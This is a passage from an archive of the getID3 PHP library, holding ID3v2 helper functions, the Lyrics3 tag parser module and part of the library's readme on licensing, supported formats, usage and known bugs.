TextEncodingTerminatorLookup($encoding) { // http://www.id3.org/id3v2.4.0-structure.txt // Frames that allow different types of text encoding contains a text encoding description byte. Possible encodings: static $TextEncodingTerminatorLookup = array( 0 => "\x00", // $00 ISO-8859-1. Terminated with $00. 1 => "\x00\x00", // $01 UTF-16 encoded Unicode with BOM. All strings in the same frame SHALL have the same byteorder. Terminated with $00 00. 2 => "\x00\x00", // $02 UTF-16BE encoded Unicode without BOM. Terminated with $00 00. 3 => "\x00", // $03 UTF-8 encoded Unicode. Terminated with $00. 255 => "\x00\x00" ); return (isset($TextEncodingTerminatorLookup[$encoding]) ? $TextEncodingTerminatorLookup[$encoding] : "\x00"); } /** * @param int $encoding * * @return string */ public static function TextEncodingNameLookup($encoding) { // http://www.id3.org/id3v2.4.0-structure.txt // Frames that allow different types of text encoding contains a text encoding description byte. Possible encodings: static $TextEncodingNameLookup = array( 0 => 'ISO-8859-1', // $00 ISO-8859-1. Terminated with $00. 1 => 'UTF-16', // $01 UTF-16 encoded Unicode with BOM. All strings in the same frame SHALL have the same byteorder. Terminated with $00 00. 2 => 'UTF-16BE', // $02 UTF-16BE encoded Unicode without BOM. Terminated with $00 00. 3 => 'UTF-8', // $03 UTF-8 encoded Unicode. Terminated with $00. 255 => 'UTF-16BE' ); return (isset($TextEncodingNameLookup[$encoding]) ? $TextEncodingNameLookup[$encoding] : 'ISO-8859-1'); } /** * @param string $string * @param string $terminator * * @return string */ public static function RemoveStringTerminator($string, $terminator) { // Null terminator at end of comment string is somewhat ambiguous in the specification, may or may not be implemented by various taggers. Remove terminator only if present. // https://github.com/JamesHeinrich/getID3/issues/121 // https://community.mp3tag.de/t/x-trailing-nulls-in-id3v2-comments/19227 if (substr($string, -strlen($terminator), strlen($terminator)) === $terminator) { $string = substr($string, 0, -strlen($terminator)); } return $string; } /** * @param string $string * * @return string */ public static function MakeUTF16emptyStringEmpty($string) { if (in_array($string, array("\x00", "\x00\x00", "\xFF\xFE", "\xFE\xFF"))) { // if string only contains a BOM or terminator then make it actually an empty string $string = ''; } return $string; } /** * @param string $framename * @param int $id3v2majorversion * * @return bool|int */ public static function IsValidID3v2FrameName($framename, $id3v2majorversion) { switch ($id3v2majorversion) { case 2: return preg_match('#[A-Z][A-Z0-9]{2}#', $framename); case 3: case 4: return preg_match('#[A-Z][A-Z0-9]{3}#', $framename); } return false; } /** * @param string $numberstring * @param bool $allowdecimal * @param bool $allownegative * * @return bool */ public static function IsANumber($numberstring, $allowdecimal=false, $allownegative=false) { for ($i = 0; $i < strlen($numberstring); $i++) { if ((chr($numberstring[$i]) < chr('0')) || (chr($numberstring[$i]) > chr('9'))) { if (($numberstring[$i] == '.') && $allowdecimal) { // allowed } elseif (($numberstring[$i] == '-') && $allownegative && ($i == 0)) { // allowed } else { return false; } } } return true; } /** * @param string $datestamp * * @return bool */ public static function IsValidDateStampString($datestamp) { if (strlen($datestamp) != 8) { return false; } if (!self::IsANumber($datestamp, false)) { return false; } $year = substr($datestamp, 0, 4); $month = substr($datestamp, 4, 2); $day = substr($datestamp, 6, 2); if (($year == 0) || ($month == 0) || ($day == 0)) { return false; } if ($month > 12) { return false; } if ($day > 31) { return false; } if (($day > 30) && (($month == 4) || ($month == 6) || ($month == 9) || ($month == 11))) { return false; } if (($day > 29) && ($month == 2)) { return false; } return true; } /** * @param int $majorversion * * @return int */ public static function ID3v2HeaderLength($majorversion) { return (($majorversion == 2) ? 6 : 10); } /** * @param string $frame_name * * @return string|false */ public static function ID3v22iTunesBrokenFrameName($frame_name) { // iTunes (multiple versions) has been known to write ID3v2.3 style frames // but use ID3v2.2 frame names, right-padded using either [space] or [null] // to make them fit in the 4-byte frame name space of the ID3v2.3 frame. // This function will detect and translate the corrupt frame name into ID3v2.3 standard. static $ID3v22_iTunes_BrokenFrames = array( 'BUF' => 'RBUF', // Recommended buffer size 'CNT' => 'PCNT', // Play counter 'COM' => 'COMM', // Comments 'CRA' => 'AENC', // Audio encryption 'EQU' => 'EQUA', // Equalisation 'ETC' => 'ETCO', // Event timing codes 'GEO' => 'GEOB', // General encapsulated object 'IPL' => 'IPLS', // Involved people list 'LNK' => 'LINK', // Linked information 'MCI' => 'MCDI', // Music CD identifier 'MLL' => 'MLLT', // MPEG location lookup table 'PIC' => 'APIC', // Attached picture 'POP' => 'POPM', // Popularimeter 'REV' => 'RVRB', // Reverb 'RVA' => 'RVAD', // Relative volume adjustment 'SLT' => 'SYLT', // Synchronised lyric/text 'STC' => 'SYTC', // Synchronised tempo codes 'TAL' => 'TALB', // Album/Movie/Show title 'TBP' => 'TBPM', // BPM (beats per minute) 'TCM' => 'TCOM', // Composer 'TCO' => 'TCON', // Content type 'TCP' => 'TCMP', // Part of a compilation 'TCR' => 'TCOP', // Copyright message 'TDA' => 'TDAT', // Date 'TDY' => 'TDLY', // Playlist delay 'TEN' => 'TENC', // Encoded by 'TFT' => 'TFLT', // File type 'TIM' => 'TIME', // Time 'TKE' => 'TKEY', // Initial key 'TLA' => 'TLAN', // Language(s) 'TLE' => 'TLEN', // Length 'TMT' => 'TMED', // Media type 'TOA' => 'TOPE', // Original artist(s)/performer(s) 'TOF' => 'TOFN', // Original filename 'TOL' => 'TOLY', // Original lyricist(s)/text writer(s) 'TOR' => 'TORY', // Original release year 'TOT' => 'TOAL', // Original album/movie/show title 'TP1' => 'TPE1', // Lead performer(s)/Soloist(s) 'TP2' => 'TPE2', // Band/orchestra/accompaniment 'TP3' => 'TPE3', // Conductor/performer refinement 'TP4' => 'TPE4', // Interpreted, remixed, or otherwise modified by 'TPA' => 'TPOS', // Part of a set 'TPB' => 'TPUB', // Publisher 'TRC' => 'TSRC', // ISRC (international standard recording code) 'TRD' => 'TRDA', // Recording dates 'TRK' => 'TRCK', // Track number/Position in set 'TS2' => 'TSO2', // Album-Artist sort order 'TSA' => 'TSOA', // Album sort order 'TSC' => 'TSOC', // Composer sort order 'TSI' => 'TSIZ', // Size 'TSP' => 'TSOP', // Performer sort order 'TSS' => 'TSSE', // Software/Hardware and settings used for encoding 'TST' => 'TSOT', // Title sort order 'TT1' => 'TIT1', // Content group description 'TT2' => 'TIT2', // Title/songname/content description 'TT3' => 'TIT3', // Subtitle/Description refinement 'TXT' => 'TEXT', // Lyricist/Text writer 'TXX' => 'TXXX', // User defined text information frame 'TYE' => 'TYER', // Year 'UFI' => 'UFID', // Unique file identifier 'ULT' => 'USLT', // Unsynchronised lyric/text transcription 'WAF' => 'WOAF', // Official audio file webpage 'WAR' => 'WOAR', // Official artist/performer webpage 'WAS' => 'WOAS', // Official audio source webpage 'WCM' => 'WCOM', // Commercial information 'WCP' => 'WCOP', // Copyright/Legal information 'WPB' => 'WPUB', // Publishers official webpage 'WXX' => 'WXXX', // User defined URL link frame ); if (strlen($frame_name) == 4) { if ((substr($frame_name, 3, 1) == ' ') || (substr($frame_name, 3, 1) == "\x00")) { if (isset($ID3v22_iTunes_BrokenFrames[substr($frame_name, 0, 3)])) { return $ID3v22_iTunes_BrokenFrames[substr($frame_name, 0, 3)]; } } } return false; } } ID3/module.tag.lyrics3.php000064400000026723151202620270011271 0ustar00 // // available at https://github.com/JamesHeinrich/getID3 // // or https://www.getid3.org // // or http://getid3.sourceforge.net // // see readme.txt for more details // ///////////////////////////////////////////////////////////////// /// // // module.tag.lyrics3.php // // module for analyzing Lyrics3 tags // // dependencies: module.tag.apetag.php (optional) // // /// ///////////////////////////////////////////////////////////////// if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers exit; } class getid3_lyrics3 extends getid3_handler { /** * @return bool */ public function Analyze() { $info = &$this->getid3->info; // http://www.volweb.cz/str/tags.htm if (!getid3_lib::intValueSupported($info['filesize'])) { $this->warning('Unable to check for Lyrics3 because file is larger than '.round(PHP_INT_MAX / 1073741824).'GB'); return false; } $this->fseek((0 - 128 - 9 - 6), SEEK_END); // end - ID3v1 - "LYRICSEND" - [Lyrics3size] $lyrics3_id3v1 = $this->fread(128 + 9 + 6); $lyrics3lsz = (int) substr($lyrics3_id3v1, 0, 6); // Lyrics3size $lyrics3end = substr($lyrics3_id3v1, 6, 9); // LYRICSEND or LYRICS200 $id3v1tag = substr($lyrics3_id3v1, 15, 128); // ID3v1 if ($lyrics3end == 'LYRICSEND') { // Lyrics3v1, ID3v1, no APE $lyrics3size = 5100; $lyrics3offset = $info['filesize'] - 128 - $lyrics3size; $lyrics3version = 1; } elseif ($lyrics3end == 'LYRICS200') { // Lyrics3v2, ID3v1, no APE // LSZ = lyrics + 'LYRICSBEGIN'; add 6-byte size field; add 'LYRICS200' $lyrics3size = $lyrics3lsz + 6 + strlen('LYRICS200'); $lyrics3offset = $info['filesize'] - 128 - $lyrics3size; $lyrics3version = 2; } elseif (substr(strrev($lyrics3_id3v1), 0, 9) == strrev('LYRICSEND')) { // Lyrics3v1, no ID3v1, no APE $lyrics3size = 5100; $lyrics3offset = $info['filesize'] - $lyrics3size; $lyrics3version = 1; $lyrics3offset = $info['filesize'] - $lyrics3size; } elseif (substr(strrev($lyrics3_id3v1), 0, 9) == strrev('LYRICS200')) { // Lyrics3v2, no ID3v1, no APE $lyrics3size = (int) strrev(substr(strrev($lyrics3_id3v1), 9, 6)) + 6 + strlen('LYRICS200'); // LSZ = lyrics + 'LYRICSBEGIN'; add 6-byte size field; add 'LYRICS200' $lyrics3offset = $info['filesize'] - $lyrics3size; $lyrics3version = 2; } else { if (isset($info['ape']['tag_offset_start']) && ($info['ape']['tag_offset_start'] > 15)) { $this->fseek($info['ape']['tag_offset_start'] - 15); $lyrics3lsz = $this->fread(6); $lyrics3end = $this->fread(9); if ($lyrics3end == 'LYRICSEND') { // Lyrics3v1, APE, maybe ID3v1 $lyrics3size = 5100; $lyrics3offset = $info['ape']['tag_offset_start'] - $lyrics3size; $info['avdataend'] = $lyrics3offset; $lyrics3version = 1; $this->warning('APE tag located after Lyrics3, will probably break Lyrics3 compatability'); } elseif ($lyrics3end == 'LYRICS200') { // Lyrics3v2, APE, maybe ID3v1 $lyrics3size = $lyrics3lsz + 6 + strlen('LYRICS200'); // LSZ = lyrics + 'LYRICSBEGIN'; add 6-byte size field; add 'LYRICS200' $lyrics3offset = $info['ape']['tag_offset_start'] - $lyrics3size; $lyrics3version = 2; $this->warning('APE tag located after Lyrics3, will probably break Lyrics3 compatability'); } } } if (isset($lyrics3offset) && isset($lyrics3version) && isset($lyrics3size)) { $info['avdataend'] = $lyrics3offset; $this->getLyrics3Data($lyrics3offset, $lyrics3version, $lyrics3size); if (!isset($info['ape'])) { if (isset($info['lyrics3']['tag_offset_start'])) { $GETID3_ERRORARRAY = &$info['warning']; getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.tag.apetag.php', __FILE__, true); $getid3_temp = new getID3(); $getid3_temp->openfile($this->getid3->filename, $this->getid3->info['filesize'], $this->getid3->fp); $getid3_apetag = new getid3_apetag($getid3_temp); $getid3_apetag->overrideendoffset = $info['lyrics3']['tag_offset_start']; $getid3_apetag->Analyze(); if (!empty($getid3_temp->info['ape'])) { $info['ape'] = $getid3_temp->info['ape']; } if (!empty($getid3_temp->info['replay_gain'])) { $info['replay_gain'] = $getid3_temp->info['replay_gain']; } unset($getid3_temp, $getid3_apetag); } else { $this->warning('Lyrics3 and APE tags appear to have become entangled (most likely due to updating the APE tags with a non-Lyrics3-aware tagger)'); } } } return true; } /** * @param int $endoffset * @param int $version * @param int $length * * @return bool */ public function getLyrics3Data($endoffset, $version, $length) { // http://www.volweb.cz/str/tags.htm $info = &$this->getid3->info; if (!getid3_lib::intValueSupported($endoffset)) { $this->warning('Unable to check for Lyrics3 because file is larger than '.round(PHP_INT_MAX / 1073741824).'GB'); return false; } $this->fseek($endoffset); if ($length <= 0) { return false; } $rawdata = $this->fread($length); $ParsedLyrics3 = array(); $ParsedLyrics3['raw']['lyrics3version'] = $version; $ParsedLyrics3['raw']['lyrics3tagsize'] = $length; $ParsedLyrics3['tag_offset_start'] = $endoffset; $ParsedLyrics3['tag_offset_end'] = $endoffset + $length - 1; if (substr($rawdata, 0, 11) != 'LYRICSBEGIN') { if (strpos($rawdata, 'LYRICSBEGIN') !== false) { $this->warning('"LYRICSBEGIN" expected at '.$endoffset.' but actually found at '.($endoffset + strpos($rawdata, 'LYRICSBEGIN')).' - this is invalid for Lyrics3 v'.$version); $info['avdataend'] = $endoffset + strpos($rawdata, 'LYRICSBEGIN'); $rawdata = substr($rawdata, strpos($rawdata, 'LYRICSBEGIN')); $length = strlen($rawdata); $ParsedLyrics3['tag_offset_start'] = $info['avdataend']; $ParsedLyrics3['raw']['lyrics3tagsize'] = $length; } else { $this->error('"LYRICSBEGIN" expected at '.$endoffset.' but found "'.substr($rawdata, 0, 11).'" instead'); return false; } } switch ($version) { case 1: if (substr($rawdata, strlen($rawdata) - 9, 9) == 'LYRICSEND') { $ParsedLyrics3['raw']['LYR'] = trim(substr($rawdata, 11, strlen($rawdata) - 11 - 9)); $this->Lyrics3LyricsTimestampParse($ParsedLyrics3); } else { $this->error('"LYRICSEND" expected at '.($this->ftell() - 11 + $length - 9).' but found "'.substr($rawdata, strlen($rawdata) - 9, 9).'" instead'); return false; } break; case 2: if (substr($rawdata, strlen($rawdata) - 9, 9) == 'LYRICS200') { $ParsedLyrics3['raw']['unparsed'] = substr($rawdata, 11, strlen($rawdata) - 11 - 9 - 6); // LYRICSBEGIN + LYRICS200 + LSZ $rawdata = $ParsedLyrics3['raw']['unparsed']; while (strlen($rawdata) > 0) { $fieldname = substr($rawdata, 0, 3); $fieldsize = (int) substr($rawdata, 3, 5); $ParsedLyrics3['raw'][$fieldname] = substr($rawdata, 8, $fieldsize); $rawdata = substr($rawdata, 3 + 5 + $fieldsize); } if (isset($ParsedLyrics3['raw']['IND'])) { $i = 0; $flagnames = array('lyrics', 'timestamps', 'inhibitrandom'); foreach ($flagnames as $flagname) { if (strlen($ParsedLyrics3['raw']['IND']) > $i++) { $ParsedLyrics3['flags'][$flagname] = $this->IntString2Bool(substr($ParsedLyrics3['raw']['IND'], $i, 1 - 1)); } } } $fieldnametranslation = array('ETT'=>'title', 'EAR'=>'artist', 'EAL'=>'album', 'INF'=>'comment', 'AUT'=>'author'); foreach ($fieldnametranslation as $key => $value) { if (isset($ParsedLyrics3['raw'][$key])) { $ParsedLyrics3['comments'][$value][] = trim($ParsedLyrics3['raw'][$key]); } } if (isset($ParsedLyrics3['raw']['IMG'])) { $imagestrings = explode("\r\n", $ParsedLyrics3['raw']['IMG']); foreach ($imagestrings as $key => $imagestring) { if (strpos($imagestring, '||') !== false) { $imagearray = explode('||', $imagestring); $ParsedLyrics3['images'][$key]['filename'] = (isset($imagearray[0]) ? $imagearray[0] : ''); $ParsedLyrics3['images'][$key]['description'] = (isset($imagearray[1]) ? $imagearray[1] : ''); $ParsedLyrics3['images'][$key]['timestamp'] = $this->Lyrics3Timestamp2Seconds(isset($imagearray[2]) ? $imagearray[2] : ''); } } } if (isset($ParsedLyrics3['raw']['LYR'])) { $this->Lyrics3LyricsTimestampParse($ParsedLyrics3); } } else { $this->error('"LYRICS200" expected at '.($this->ftell() - 11 + $length - 9).' but found "'.substr($rawdata, strlen($rawdata) - 9, 9).'" instead'); return false; } break; default: $this->error('Cannot process Lyrics3 version '.$version.' (only v1 and v2)'); return false; } if (isset($info['id3v1']['tag_offset_start']) && ($info['id3v1']['tag_offset_start'] <= $ParsedLyrics3['tag_offset_end'])) { $this->warning('ID3v1 tag information ignored since it appears to be a false synch in Lyrics3 tag data'); unset($info['id3v1']); foreach ($info['warning'] as $key => $value) { if ($value == 'Some ID3v1 fields do not use NULL characters for padding') { unset($info['warning'][$key]); sort($info['warning']); break; } } } $info['lyrics3'] = $ParsedLyrics3; return true; } /** * @param string $rawtimestamp * * @return int|false */ public function Lyrics3Timestamp2Seconds($rawtimestamp) { if (preg_match('#^\\[([0-9]{2}):([0-9]{2})\\]$#', $rawtimestamp, $regs)) { return (int) (($regs[1] * 60) + $regs[2]); } return false; } /** * @param array $Lyrics3data * * @return bool */ public function Lyrics3LyricsTimestampParse(&$Lyrics3data) { $lyricsarray = explode("\r\n", $Lyrics3data['raw']['LYR']); $notimestamplyricsarray = array(); foreach ($lyricsarray as $key => $lyricline) { $regs = array(); unset($thislinetimestamps); while (preg_match('#^(\\[[0-9]{2}:[0-9]{2}\\])#', $lyricline, $regs)) { $thislinetimestamps[] = $this->Lyrics3Timestamp2Seconds($regs[0]); $lyricline = str_replace($regs[0], '', $lyricline); } $notimestamplyricsarray[$key] = $lyricline; if (isset($thislinetimestamps) && is_array($thislinetimestamps)) { sort($thislinetimestamps); foreach ($thislinetimestamps as $timestampkey => $timestamp) { if (isset($Lyrics3data['synchedlyrics'][$timestamp])) { // timestamps only have a 1-second resolution, it's possible that multiple lines // could have the same timestamp, if so, append $Lyrics3data['synchedlyrics'][$timestamp] .= "\r\n".$lyricline; } else { $Lyrics3data['synchedlyrics'][$timestamp] = $lyricline; } } } } $Lyrics3data['unsynchedlyrics'] = implode("\r\n", $notimestamplyricsarray); if (isset($Lyrics3data['synchedlyrics']) && is_array($Lyrics3data['synchedlyrics'])) { ksort($Lyrics3data['synchedlyrics']); } return true; } /** * @param string $char * * @return bool|null */ public function IntString2Bool($char) { if ($char == '1') { return true; } elseif ($char == '0') { return false; } return null; } } ID3/readme.txt000064400000063205151202620270007124 0ustar00///////////////////////////////////////////////////////////////// /// getID3() by James Heinrich // // available at http://getid3.sourceforge.net // // or https://www.getid3.org // // also https://github.com/JamesHeinrich/getID3 // ///////////////////////////////////////////////////////////////// ***************************************************************** ***************************************************************** getID3() is released under multiple licenses. You may choose from the following licenses, and use getID3 according to the terms of the license most suitable to your project. GNU GPL: https://gnu.org/licenses/gpl.html (v3) https://gnu.org/licenses/old-licenses/gpl-2.0.html (v2) https://gnu.org/licenses/old-licenses/gpl-1.0.html (v1) GNU LGPL: https://gnu.org/licenses/lgpl.html (v3) Mozilla MPL: https://www.mozilla.org/MPL/2.0/ (v2) getID3 Commercial License: https://www.getid3.org/#gCL (payment required) ***************************************************************** ***************************************************************** Copies of each of the above licenses are included in the 'licenses' directory of the getID3 distribution. +----------------------------------------------+ | If you want to donate, there is a link on | | https://www.getid3.org for PayPal donations. | +----------------------------------------------+ Quick Start =========================================================================== Q: How can I check that getID3() works on my server/files? A: Unzip getID3() to a directory, then access /demos/demo.browse.php Support =========================================================================== Q: I have a question, or I found a bug. What do I do? A: The preferred method of support requests and/or bug reports is the forum at http://support.getid3.org/ Sourceforge Notification =========================================================================== It's highly recommended that you sign up for notification from Sourceforge for when new versions are released. Please visit: http://sourceforge.net/project/showfiles.php?group_id=55859 and click the little "monitor package" icon/link. If you're previously signed up for the mailing list, be aware that it has been discontinued, only the automated Sourceforge notification will be used from now on. What does getID3() do? =========================================================================== Reads & parses (to varying degrees): ¤ tags: * APE (v1 and v2) * ID3v1 (& ID3v1.1) * ID3v2 (v2.4, v2.3, v2.2) * Lyrics3 (v1 & v2) ¤ audio-lossy: * MP3/MP2/MP1 * MPC / Musepack * Ogg (Vorbis, OggFLAC, Speex, Opus) * AAC / MP4 * AC3 * DTS * RealAudio * Speex * DSS * VQF ¤ audio-lossless: * AIFF * AU * Bonk * CD-audio (*.cda) * FLAC * LA (Lossless Audio) * LiteWave * LPAC * MIDI * Monkey's Audio * OptimFROG * RKAU * Shorten * TTA * VOC * WAV (RIFF) * WavPack ¤ audio-video: * ASF: ASF, Windows Media Audio (WMA), Windows Media Video (WMV) * AVI (RIFF) * Flash * Matroska (MKV) * MPEG-1 / MPEG-2 * NSV (Nullsoft Streaming Video) * Quicktime (including MP4) * RealVideo ¤ still image: * BMP * GIF * JPEG * PNG * TIFF * SWF (Flash) * PhotoCD ¤ data: * ISO-9660 CD-ROM image (directory structure) * SZIP (limited support) * ZIP (directory structure) * TAR * CUE Writes: * ID3v1 (& ID3v1.1) * ID3v2 (v2.3 & v2.4) * VorbisComment on OggVorbis * VorbisComment on FLAC (not OggFLAC) * APE v2 * Lyrics3 (delete only) Requirements =========================================================================== * PHP 4.2.0 up to 5.2.x for getID3() 1.7.x (and earlier) * PHP 5.0.5 (or higher) for getID3() 1.8.x (and up) * PHP 5.3.0 (or higher) for getID3() 1.9.17 (and up) * PHP 5.3.0 (or higher) for getID3() 2.0.x (and up) * at least 4MB memory for PHP. 8MB or more is highly recommended. 12MB is required with all modules loaded. Usage =========================================================================== See /demos/demo.basic.php for a very basic use of getID3() with no fancy output, just scanning one file. See structure.txt for the returned data structure. *> For an example of a complete directory-browsing, <* *> file-scanning implementation of getID3(), please run <* *> /demos/demo.browse.php <* See /demos/demo.mysql.php for a sample recursive scanning code that scans every file in a given directory, and all sub-directories, stores the results in a database and allows various analysis / maintenance operations To analyze remote files over HTTP or FTP you need to copy the file locally first before running getID3(). Your code would look something like this: // Copy remote file locally to scan with getID3() $remotefilename = 'http://www.example.com/filename.mp3'; if ($fp_remote = fopen($remotefilename, 'rb')) { $localtempfilename = tempnam('/tmp', 'getID3'); if ($fp_local = fopen($localtempfilename, 'wb')) { while ($buffer = fread($fp_remote, 32768)) { fwrite($fp_local, $buffer); } fclose($fp_local); $remote_headers = array_change_key_case(get_headers($remotefilename, 1), CASE_LOWER); $remote_filesize = (isset($remote_headers['content-length']) ? (is_array($remote_headers['content-length']) ? $remote_headers['content-length'][count($remote_headers['content-length']) - 1] : $remote_headers['content-length']) : null); // Initialize getID3 engine $getID3 = new getID3; $ThisFileInfo = $getID3->analyze($localtempfilename, $remote_filesize, basename($remotefilename)); // Delete temporary file unlink($localtempfilename); } fclose($fp_remote); } Note: since v1.9.9-20150212 it is possible a second and third parameter to $getID3->analyze(), for original filesize and original filename respectively. This permits you to download only a portion of a large remote file but get accurate playtime estimates, assuming the format only requires the beginning of the file for correct format analysis. See /demos/demo.write.php for how to write tags. What does the returned data structure look like? =========================================================================== See structure.txt It is recommended that you look at the output of /demos/demo.browse.php scanning the file(s) you're interested in to confirm what data is actually returned for any particular filetype in general, and your files in particular, as the actual data returned may vary considerably depending on what information is available in the file itself. Notes =========================================================================== getID3() 1.x: If the format parser encounters a critical problem, it will return something in $fileinfo['error'], describing the encountered error. If a less critical error or notice is generated it will appear in $fileinfo['warning']. Both keys may contain more than one warning or error. If something is returned in ['error'] then the file was not correctly parsed and returned data may or may not be correct and/or complete. If something is returned in ['warning'] (and not ['error']) then the data that is returned is OK - usually getID3() is reporting errors in the file that have been worked around due to known bugs in other programs. Some warnings may indicate that the data that is returned is OK but that some data could not be extracted due to errors in the file. getID3() 2.x: See above except errors are thrown (so you will only get one error). Disclaimer =========================================================================== getID3() has been tested on many systems, on many types of files, under many operating systems, and is generally believe to be stable and safe. That being said, there is still the chance there is an undiscovered and/or unfixed bug that may potentially corrupt your file, especially within the writing functions. By using getID3() you agree that it's not my fault if any of your files are corrupted. In fact, I'm not liable for anything :) License =========================================================================== GNU General Public License - see license.txt This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to: Free Software Foundation, Inc. 59 Temple Place - Suite 330 Boston, MA 02111-1307, USA. FAQ: Q: Can I use getID3() in my program? Do I need a commercial license? A: You're generally free to use getID3 however you see fit. The only case in which you would require a commercial license is if you're selling your closed-source program that integrates getID3. If you sell your program including a copy of getID3, that's fine as long as you include a copy of the sourcecode when you sell it. Or you can distribute your code without getID3 and say "download it from getid3.sourceforge.net" Why is it called "getID3()" if it does so much more than just that? =========================================================================== v0.1 did in fact just do that. I don't have a copy of code that old, but I could essentially write it today with a one-line function: function getID3($filename) { return unpack('a3TAG/a30title/a30artist/a30album/a4year/a28comment/c1track/c1genreid', substr(file_get_contents($filename), -128)); } Future Plans =========================================================================== https://www.getid3.org/phpBB3/viewforum.php?f=7 * Better support for MP4 container format * Scan for appended ID3v2 tag at end of file per ID3v2.4 specs (Section 5.0) * Support for JPEG-2000 (http://www.morgan-multimedia.com/jpeg2000_overview.htm) * Support for MOD (mod/stm/s3m/it/xm/mtm/ult/669) * Support for ACE (thanks Vince) * Support for Ogg other than Vorbis, Speex and OggFlac (ie. Ogg+Xvid) * Ability to create Xing/LAME VBR header for VBR MP3s that are missing VBR header * Ability to "clean" ID3v2 padding (replace invalid padding with valid padding) * Warn if MP3s change version mid-stream (in full-scan mode) * check for corrupt/broken mid-file MP3 streams in histogram scan * Support for lossless-compression formats (http://www.firstpr.com.au/audiocomp/lossless/#Links) (http://compression.ca/act-sound.html) (http://web.inter.nl.net/users/hvdh/lossless/lossless.htm) * Support for RIFF-INFO chunks * http://lotto.st-andrews.ac.uk/~njh/tag_interchange.html (thanks Nick Humfrey ) * http://abcavi.narod.ru/sof/abcavi/infotags.htm (thanks Kibi) * Better support for Bink video * http://www.hr/josip/DSP/AudioFile2.html * http://www.pcisys.net/~melanson/codecs/ * Detect mp3PRO * Support for PSD * Support for JPC * Support for JP2 * Support for JPX * Support for JB2 * Support for IFF * Support for ICO * Support for ANI * Support for EXE (comments, author, etc) (thanks p*quaedackersØplanet*nl) * Support for DVD-IFO (region, subtitles, aspect ratio, etc) (thanks p*quaedackersØplanet*nl) * More complete support for SWF - parsing encapsulated MP3 and/or JPEG content (thanks n8n8Øyahoo*com) * Support for a2b * Optional scan-through-frames for AVI verification (thanks rockcohenØmassive-interactive*nl) * Support for TTF (thanks infoØbutterflyx*com) * Support for DSS (https://www.getid3.org/phpBB3/viewtopic.php?t=171) * Support for SMAF (http://smaf-yamaha.com/what/demo.html) https://www.getid3.org/phpBB3/viewtopic.php?t=182 * Support for AMR (https://www.getid3.org/phpBB3/viewtopic.php?t=195) * Support for 3gpp (https://www.getid3.org/phpBB3/viewtopic.php?t=195) * Support for ID4 (http://www.wackysoft.cjb.net grizlyY2KØhotmail*com) * Parse XML data returned in Ogg comments * Parse XML data from Quicktime SMIL metafiles (klausrathØmac*com) * ID3v2 genre string creator function * More complete parsing of JPG * Support for all old-style ASF packets * ASF/WMA/WMV tag writing * Parse declared T??? ID3v2 text information frames, where appropriate (thanks Christian Fritz for the idea) * Recognize encoder: http://www.guerillasoft.com/EncSpot2/index.html http://ff123.net/identify.html http://www.hydrogenaudio.org/?act=ST&f=16&t=9414 http://www.hydrogenaudio.org/?showtopic=11785 * Support for other OS/2 bitmap structures: Bitmap Array('BA'), Color Icon('CI'), Color Pointer('CP'), Icon('IC'), Pointer ('PT') http://netghost.narod.ru/gff/graphics/summary/os2bmp.htm * Support for WavPack RAW mode * ASF/WMA/WMV data packet parsing * ID3v2FrameFlagsLookupTagAlter() * ID3v2FrameFlagsLookupFileAlter() * obey ID3v2 tag alter/preserve/discard rules * http://www.geocities.com/SiliconValley/Sector/9654/Softdoc/Illyrium/Aolyr.htm * proper checking for LINK/LNK frame validity in ID3v2 writing * proper checking for ASPI-TLEN frame validity in ID3v2 writing * proper checking for COMR frame validity in ID3v2 writing * http://www.geocities.co.jp/SiliconValley-Oakland/3664/index.html * decode GEOB ID3v2 structure as encoded by RealJukebox, decode NCON ID3v2 structure as encoded by MusicMatch (probably won't happen - the formats are proprietary) Known Bugs/Issues in getID3() that may be fixed eventually =========================================================================== https://www.getid3.org/phpBB3/viewtopic.php?t=25 * Cannot determine bitrate for MPEG video with VBR video data (need documentation) * Interlace/progressive cannot be determined for MPEG video (need documentation) * MIDI playtime is sometimes inaccurate * AAC-RAW mode files cannot be identified * WavPack-RAW mode files cannot be identified * mp4 files report lots of "Unknown QuickTime atom type" (need documentation) * Encrypted ASF/WMA/WMV files warn about "unhandled GUID ASF_Content_Encryption_Object" * Bitrate split between audio and video cannot be calculated for NSV, only the total bitrate. (need documentation) * All Ogg formats (Vorbis, OggFLAC, Speex) are affected by the problem of large VorbisComments spanning multiple Ogg pages, but but only OggVorbis files can be processed with vorbiscomment. * The version of "head" supplied with Mac OS 10.2.8 (maybe other versions too) does only understands a single option (-n) and therefore fails. getID3 ignores this and returns wrong md5_data. Known Bugs/Issues in getID3() that cannot be fixed -------------------------------------------------- https://www.getid3.org/phpBB3/viewtopic.php?t=25 * 32-bit PHP installations only: Files larger than 2GB cannot always be parsed fully by getID3() due to limitations in the 32-bit PHP filesystem functions. NOTE: Since v1.7.8b3 there is partial support for larger-than- 2GB files, most of which will parse OK, as long as no critical data is located beyond the 2GB offset. Known will-work: * all file formats on 64-bit PHP * ZIP (format doesn't support files >2GB) * FLAC (current encoders don't support files >2GB) Known will-not-work: * ID3v1 tags (always located at end-of-file) * Lyrics3 tags (always located at end-of-file) * APE tags (always located at end-of-file) Maybe-will-work: * Quicktime (will work if needed metadata is before 2GB offset, that is if the file has been hinted/optimized for streaming) * RIFF.WAV (should work fine, but gives warnings about not being able to parse all chunks) * RIFF.AVI (playtime will probably be wrong, is only based on "movi" chunk that fits in the first 2GB, should issue error to show that playtime is incorrect. Other data should be mostly correct, assuming that data is constant throughout the file) * PHP <= v5 on Windows cannot read UTF-8 filenames Known Bugs/Issues in other programs ----------------------------------- https://www.getid3.org/phpBB3/viewtopic.php?t=25 * MusicBrainz Picard (at least up to v1.3.2) writes multiple ID3v2.3 genres in non-standard forward-slash separated text rather than parenthesis-numeric+refinement style per the ID3v2.3 specs. Tags written in ID3v2.4 mode are written correctly. (detected and worked around by getID3()) * PZ TagEditor v4.53.408 has been known to insert ID3v2.3 frames into an existing ID3v2.2 tag which, of course, breaks things * Windows Media Player (up to v11) and iTunes (up to v10+) do not correctly handle ID3v2.3 tags with UTF-16BE+BOM encoding (they assume the data is UTF-16LE+BOM and either crash (WMP) 